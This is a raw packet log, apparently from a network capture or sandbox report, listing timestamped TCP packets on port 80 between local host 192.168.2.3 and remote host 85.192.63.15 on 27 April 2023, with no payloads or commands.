Apr 27, 2023 07:41:55.290146112 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.293390036 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.293461084 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.293524981 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.293526888 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.293581009 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.293587923 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.293587923 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.293656111 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.295085907 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.295150995 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.295217991 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.295217991 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.295270920 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.295285940 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.295285940 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.295334101 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.298578978 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.298645973 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.298695087 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.298707008 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.298753023 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.298753023 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.298763990 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.298815966 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.298826933 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.298878908 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.300107956 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.300172091 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.300266981 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.300291061 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.300309896 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.300348997 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.300352097 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.300410986 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.309773922 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.309847116 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.309910059 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.309911966 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.309937000 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.309967995 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.309981108 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.310031891 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.311438084 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.311499119 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.311594963 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.311594963 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.311647892 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.311657906 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.311657906 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.311718941 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.312788010 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.312834978 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.312900066 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.312900066 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.312961102 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.312961102 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.312966108 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.313019037 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.313030958 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.313081980 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.316117048 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.316169977 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.316229105 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.316234112 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.316302061 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.316350937 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.316402912 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.316402912 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.316402912 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.316402912 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.317908049 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.317969084 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.318027020 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.318059921 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.318059921 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.318073034 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.318089008 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.318131924 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.321219921 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.321284056 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.321330070 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.321342945 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.321352959 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.321389914 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.321405888 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.321445942 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.321445942 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.321487904 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.321504116 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.321542978 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.321547031 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.321630001 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.321630955 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.321674109 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.321691036 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.321719885 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.321733952 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.321778059 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.322981119 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.323044062 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.323055983 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.323085070 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.323102951 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.323141098 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.323144913 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.323185921 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.323199987 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.323249102 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.326494932 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.326556921 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.326600075 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.326613903 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.326632023 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.326670885 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.326679945 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.326726913 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.326728106 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.326783895 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.326786995 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.326839924 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.326853991 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.326898098 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.326899052 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.326945066 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.326955080 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.327002048 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.327007055 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.327050924 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.327064037 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.327110052 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.328610897 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.328670979 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.328689098 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.328727961 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.328732967 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.328783989 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.328804016 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.328845978 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.328852892 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.328903913 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.328907967 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.328980923 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.328988075 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.329040051 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.329041004 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.329096079 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.329097986 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.329148054 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.329153061 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.329204082 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.333105087 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.333167076 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.333175898 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.333219051 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.333223104 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.333268881 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.333280087 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.333323956 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.333323956 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.333379984 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.333379984 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.333427906 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.333440065 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.333483934 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.333486080 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.333528996 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.333542109 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.333585024 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.334558964 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.334623098 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.334625959 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.334680080 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.334681034 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.334728003 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.334739923 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.334785938 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.352194071 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.352257967 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.352279902 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.352313995 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.352314949 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.352360010 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.352370024 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.352413893 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.352416039 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.352472067 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.352473974 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.352528095 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.352529049 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.352576017 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.352585077 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.352632046 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.353820086 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.353866100 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.353897095 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.353930950 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.353940010 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.353974104 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.353988886 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.354032040 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.354032993 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.354079008 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.354090929 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.354135036 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.355914116 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.355982065 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.355986118 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.356050968 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.356061935 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.356100082 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.356117010 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.356167078 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.357440948 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.357485056 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.357520103 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.357542992 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.357544899 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.357597113 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.357605934 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.357652903 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.357705116 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.357768059 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.358978033 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.359040976 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.359055042 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.359097958 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.359102964 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.359146118 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.359159946 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.359205008 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.364329100 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.364376068 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.364433050 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.364439964 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.364464998 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.364487886 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.364492893 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.364533901 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.364554882 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.364593983 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.365381956 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.365483046 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.365508080 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.365529060 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.365550995 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.365583897 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.365593910 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.365631104 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.365658045 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.365693092 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.366981030 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.367046118 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.367068052 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.367089987 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.367114067 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.367146969 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.367147923 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.367193937 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.367217064 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.367355108 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.368686914 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.368756056 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.368777037 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.368808985 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.368823051 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.368872881 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.368872881 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.368923903 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.368938923 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.368989944 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.370501041 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.370547056 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.370604992 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.370614052 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.370673895 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.370673895 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.370682955 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.370738029 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.370752096 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.370801926 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.372162104 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.372209072 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.372241020 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.372278929 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.372339010 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.372350931 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.372350931 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.372385979 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.372404099 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.372446060 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.372477055 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.372502089 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.372503042 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.372551918 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.372561932 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.372606993 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.372659922 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.372699976 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.372699976 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.372745037 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.373883963 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.373945951 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.373987913 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.374018908 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.374031067 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.374073029 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.374084949 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.374136925 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.375564098 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.375658989 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.375705004 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.375746965 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.375765085 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.375792027 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.375812054 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.375829935 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.375870943 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.375871897 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.375921965 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.375935078 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.375965118 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.376013994 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.376060009 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.376060009 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.376154900 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.377043009 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.377079964 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.377130985 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.377146959 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.377175093 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.377192974 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.377194881 CEST	80	49697	85.192.63.15	192.168.2.3
